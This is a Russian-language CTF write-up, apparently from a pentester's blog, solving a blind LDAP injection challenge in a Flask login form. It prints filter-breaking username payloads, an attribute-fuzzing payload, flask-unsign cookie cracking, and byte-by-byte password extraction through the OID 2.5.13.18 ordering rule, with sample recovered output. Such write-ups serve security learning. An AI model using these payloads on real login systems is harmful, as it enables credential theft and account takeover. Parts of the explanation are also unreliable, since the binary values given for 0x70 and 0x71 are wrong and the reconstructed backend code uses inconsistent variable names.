
Введение
Всем привет! Меня зовут Ян, я старший специалист по пентестам в компании Xilant. Сегодня предлагаю вместе разобраться с довольно сложным CTF-заданием, посвящённому слепой LDAP-инъекции (Blind LDAP Injection).
Оно будет особенно интересным, ведь его смогли решить всего около 50 человек из примерно 500. Мне удалось получить флаг одним из первых десяти участников — за 2 часа, причём без глубокого опыта работы с LDAP протоколами.
Решение и код лежат также на моём Github (ни один чат-бот не пострадал).
Немного о POC CTF
В середине ноября в Южной Корее пройдет POC Security Conference — это довольно большая конференция для специалистов по безопасности, в рамках которой организаторы проводят соревнования по CTF.
Но нельзя просто так купить билеты в Сеул и приехать на соревнования — сначала нужно пройти квалификационный отбор, в котором я и участвовал с 12 по 13 октября. На всё про всё было отведено 24 часа. Некоторые наверняка сидели сутки не вставая даже по зову либидо.
В этот раз организаторы предложили формат jeopardy — Это формат, в котором игрокам дают набор задач на взлом из различных категорий — нужно найти ответ и отправить его. Ответ — это флаг (какая-то строка символов или фраза). За каждую верную задачу начисляют очки: чем сложнее задача, тем больше очков.
Всего заданий было 12, но принять участие могли только одиночные игроки. Поэтому полагаться приходилось лишь на самого себя. Итак, к описанию задания!
Задание

Задание запускалось в индивидуальном контейнере для каждого участника, чтобы никто никому не закинул XSS не мешал. Затем можно было скопировать свою урлу и начать.
Обычно в вебках я сразу включаю Burp и начинаю лазить по всему приложению. Логин интерфейс был ничем не примечателен и гордо отверг моё предложение на admin:admin.
Тогда посмотрим на исходники (Ctrl + U):
<form id="loginForm">
<div class="form-group">
<label for="username">Username</label>
<input type="text" id="username" name="username" required autocomplete="username" placeholder="Enter your username">
</div>
<!-- player1 / password123 -->
<div class="form-group">
<label for="password">Password</label>
<input type="password" id="password" name="password" required autocomplete="current-password" placeholder="Enter your password">
</div>
Отлично! Есть креды к какому-то пользователю. Залогинимся и глянем на запрос в Burp (в дальнейшем буду убирать лишние заголовки и сепараторы):
POST /login HTTP/1.1
Host: btfryxiw.playat.flagyard.com
Content-Type: multipart/form-data; boundary=----geckoformboundary18c55b09bf115fede816ea0a548b788
Content-Length: 294
------geckoformboundary18c55b09bf115fede816ea0a548b788
Content-Disposition: form-data; name="username"
player1
------geckoformboundary18c55b09bf115fede816ea0a548b788
Content-Disposition: form-data; name="password"
password123
------geckoformboundary18c55b09bf115fede816ea0a548b788--
И ответ:
{"message":"Login successful!","redirect":"/dashboard","success":true}

Да, мы зашли, но ничего интересного на дашборде нет. Всё статическое. Я во всё потыкал, клянусь!
Может помогут печеньки? Т.е. cookies запроса:
session=.eJyrVkosLclIzSvJTE4sSU1RsiopKk3VUSotTi2KzwRylUozU2wLchIrU4sMdfJLbUESxTopybYFiSk5IDonPzkxRwmiIy8xNxWoBapcqRYAOD8hRw.aOvQ1A.xA6NsmlSZBM2OCGtRC5G_A44H0E; HttpOnly; Path=/
Я раньше сам пилил на Flask и сразу заметил, что это сессионный куки. Можно пробовать декодировать его или даже взломать подпись.
Для начала декодим и смотрим что внутри тулзой flask-unsign (кому интересно ручками то см. itsdangerous):
$ flask-unsign --decode --cookie $COOKIE
{'authenticated': True, 'user_id': 'uid=player1,ou=users,dc=padl,dc=local', 'username': 'player1'}
Ага! Опытный пентестер заметит LDAP синтакс, а сисадмин даже прослезится :)

Может всё таки удастся заспуфить куки? Пробуем брутфорсить куки подпись на изи:
$ flask-unsign --unsign --cookie '.eJyrVkosLclIzSvJTE4sSU1RsiopKk3VUSotTi2KzwRylUozU2wLchIrU4sMdfJLbUESxTopybYFiSk5IDonPzkxRwmiIy8xNxWoBapcqRYAOD8hRw.aOvQ1A.xA6NsmlSZBM2OCGtRC5G_A44H0E'
[*] Session decodes to: {'authenticated': True, 'user_id': 'uid=player1,ou=users,dc=padl,dc=local', 'username': 'player1'}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (2176): -----BEGIN PRIVATE KEY-----ECR
[*] Attempted (38272): w.;>{1t hozzfrsly generated st
[!] Failed to find secret key after 55982 attempts.ea
Эх… не получилось, теперь придётся попотеть. Взглянем на LDAP!
Что такое LDAP
LDAP - Lightweight Directory Access Protocol. Или по-русски - простой протокол доступа к директории. Обычно интенсивно используется в печально известной Active Directory для формирования фильтров запроса к оной и обычно приводящий к критическим Пывнам и слезам всё тех же сисадминов.

LDAP - это как гугл в вашей корпоративной сети (да, простит меня Microsoft).
LDAP инъекция

Чтобы понять есть ли в параметре уязвимость на LDAP инъекцию можно просто добавить символ * и посмотреть, что будет:
Content-Disposition: form-data; name="username"
player1*
Ага получаем ответ: "Login successful!".
А может удастся обойти и пароль таким же способом?
Content-Disposition: form-data; name="password"
*
Не сработало: Invalid password.
Почему так получается? Видимо в параметре пароля применён санитайзинг, который верно фильтрует и кодирует все не альфа-нумерические знаки.
А как же тогда должна сработать инъекция? Разберём как может быть устроен бэкэнд, зная что он написан на питоне, потому что пользуется Flask:
conn = Connection(server, user=LDAP_BIND_DN, password=LDAP_BIND_PW, auto_bind=True)
request.form.get('username')
request.form.get('password')
# LDAP filter
login_check = f"(&(username ={username})(password = {password}))"
try:
conn.search(
search_base=LDAP_BASE_DN,
search_filter=login_filter,
)
except Exception as e:
return f"LDAP error: {str(e)}", 500
Нас интересует больше всего строка LDAP фильтра:
login_check = f"(&(username ={username})(password = {password}))"
Вначале есть оператор &, который является AND-оператором сравнения двух объектов в скобках: username и password, которые считываются из POST запроса. Если сравнение верное, то login_check == True и можете войти.
Раз можно контролировать параметр username, то надо придумать, что в него инжектить, чтобы выйти из контекста LDAP сравнения или изменить его.
Попробуем сначала изменить контекст username добавив в него заранее известные верные значения username: player1)(password=password123
Получаем следующий запрос:
Content-Disposition: form-data; name="username"
player1)(password=password123
Тогда получим в итоге следующую строку сравнения в бэке:
(& (username = player1) (password = password123) (password = password123))
И должны получить success ведь эти креды заведомо верные. Но, нет получили ошибку:
{"message":"Username not found. Please check your username.","success":false}

В LDAP инъекциях есть одна специфика — надо знать точно название атрибутов, чтобы сформировать валидный LDAP запрос. А узнать правильные атрибуты просто - перебором.
Запускаем Burp Intruder с вот такой полезной нагрузкой в username:
Content-Disposition: form-data; name="username"
player1)(&FUZZ&=password123
Словарик и много других интересных вещей можно найти на PayloadsAlltheThings.
Тра-та-та! И получаем "message":"Login successful!" при использовании атрибута userPassword.
Значит в username надо инжектить: admin)(userPassword=
Продвигаемся
Попробовав переборы паттерна с * типа admin)(userPassword=a* , получил только ошибки. А идея была таким образом перебирать букву за буквой.
Покопавшись в интернете я нактнулся на интересную уязвимость OID 2.5.13.18. Текст оригинала следующий:
Exploiting userPassword Attribute
userPassword attribute is not a string like the cn attribute for example but it’s an OCTET STRING In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).
octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit comparison (in big endian ordering) of two octet string values until a difference is found. The first case in which a zero bit is found in one value but a one bit is found in another will cause the value with the zero bit to be considered less than the value with the one bit.
userPassword:2.5.13.18:=\xx (\xx is a byte)
userPassword:2.5.13.18:=\xx\xx
userPassword:2.5.13.18:=\xx\xx\xx
В общем, как и все тексты норм от Microsoft — это не читабельно (кому интересно закиньте в ChatGPT). Поэтому я просто решил сам руками попробовать посравнивать \xx\xx\xx байты вручную.
Нашёл ascii калькулятор и забил туда уже известный пароль от уже известного пользака: password123.

Получил: 70 61 73 73 77 6F 72 64 31 32 33. Меняем пробелы на бэк-слэши (хакеры же пользуются только командной строкой?):
$echo '70 61 73 73 77 6F 72 64 31 32 33' | sed 's/ /\\/g'
В эксплойте происходит какое-то по-байтовое сравнение. Берём первый байт и посылаем:
------geckoformboundary18c55b09bf115fede816ea0a548b788
Content-Disposition: form-data; name="username"
player1)(userPassword:2.5.13.18:=\70
------geckoformboundary18c55b09bf115fede816ea0a548b788
Content-Disposition: form-data; name="password"
test
Логика содеянного такова, что мы знаем правильный пароль от пользака player1, но хотим посмотреть какова реакция на инъекцию в данной уязвимости.
Получили оплеуху "message":"Username not found. Please check your username.". Почему? Потому что надо внимательнее стандарты читать: сравнение неверное до первой разницы в бите сравниваемого байта.
Тогда пробуем \71 вместо \70:
------geckoformboundary18c55b09bf115fede816ea0a548b788
Content-Disposition: form-data; name="username"
player1)(userPassword:2.5.13.18:=\71
------geckoformboundary18c55b09bf115fede816ea0a548b788
Content-Disposition: form-data; name="password"
test
И, ура, всё верно: "message":"Invalid password. Please try again.". Точнее пароль не верный, но мы этого и ожидали. Главное нет ошибки Username not found, указывающей на ошибку в LDAP запросе.
Здесь видно, что первая разница бита есть на седьмой позиции в двоичном виде:
0x70: 1000 1100
0x71: 1000 1110
Вывод такой: первый символ - это \70 , он и является буквой p в известном пароле от player1 .
Вторая буква будет \61 исходя из верного ответа сервака на player1)(userPassword:2.5.13.18:=\70\62 . И так далее.
Думаю, что всё понятно? Пишем эксплоит и атакуем админ-пароль.

Эксплоит
Тем кто предпочитает читать код, предлагаю для начала посмотреть на мой исходник: blind-ldap-inj.py. А всех остальных попрошу остаться (мы почти у цели).
Метод send_request(username) просто подготавливает POST запрос. Принимает он нагрузку для username и инжектит в тело запроса. Если ответ приходит "Invalid password" значит LDAP сравнение верное и байт подобран верно. Но если "Username not found" то байт не верен.
Далее идёт функция формирования полезной нагрузки по форме: admin)(userPassword:2.5.13.18:={prefix}{escaped_byte}. Это и будет инжектиться. В цикле идёт перебор всех значений байта {escaped_byte} от 0 до 100. А вот значение {prefix} формируется в следующей функции main.
В main() цикл просто перебирает через 100 позиций и перескакивает на следующую при нахождении верного байта.

В префикс записываются верные байт минус 1. Чтобы учесть особенность уязвимости с по-битным сравнением.
Запускаем и ждём когда будут найдены все корректные байты и перебор закончится если после всех попыток не будет найден нужный {escaped_byte}. Всё это может выглядеть так:
(venv) python3 passwd.py
Found byte 1: 0x50 ('P'); current payload suffix: \50
Found byte 2: 0x34 ('4'); current payload suffix: \34
Found byte 3: 0x64 ('d'); current payload suffix: \64
Found byte 4: 0x6c ('l'); current payload suffix: \6c
Found byte 5: 0x5f ('_'); current payload suffix: \5f
Found byte 6: 0x41 ('A'); current payload suffix: \41
…
Код весело бежит через все позиции пароля и подбирает символы!
Вывод
Вот так вот способствуют взлому отсутствие санитайзинга ввода и болтливость логин-интерфейса (вывод ошибки на неверное имя пользователя и пароля).
Получилось много букв и кода! Но я решил не ограничиваться сухим решением, и объяснить всё начиная с азов LDAP. Надеюсь получилось интересно и познавательно. Побед вам!
Если вы уже поспешили меня поздравить с тем, что мне предстоит поездка в страну токпокков и соджу, то поспешу вас расстроить — чтобы пройти в финал нужно было решить минимум 10 заданий из 12 (были и такие умельцы), а мне поддались лишь четыре. Но тем не менее считаю это классным опытом, про который был рад поделиться с вами!
0x22
Поспешили :)
Спасибо, было интересно почитать. Удачи вам в следующих соревнованиях!
yanzar Автор
Спасибо! Надо
reverseиpwnвкачать )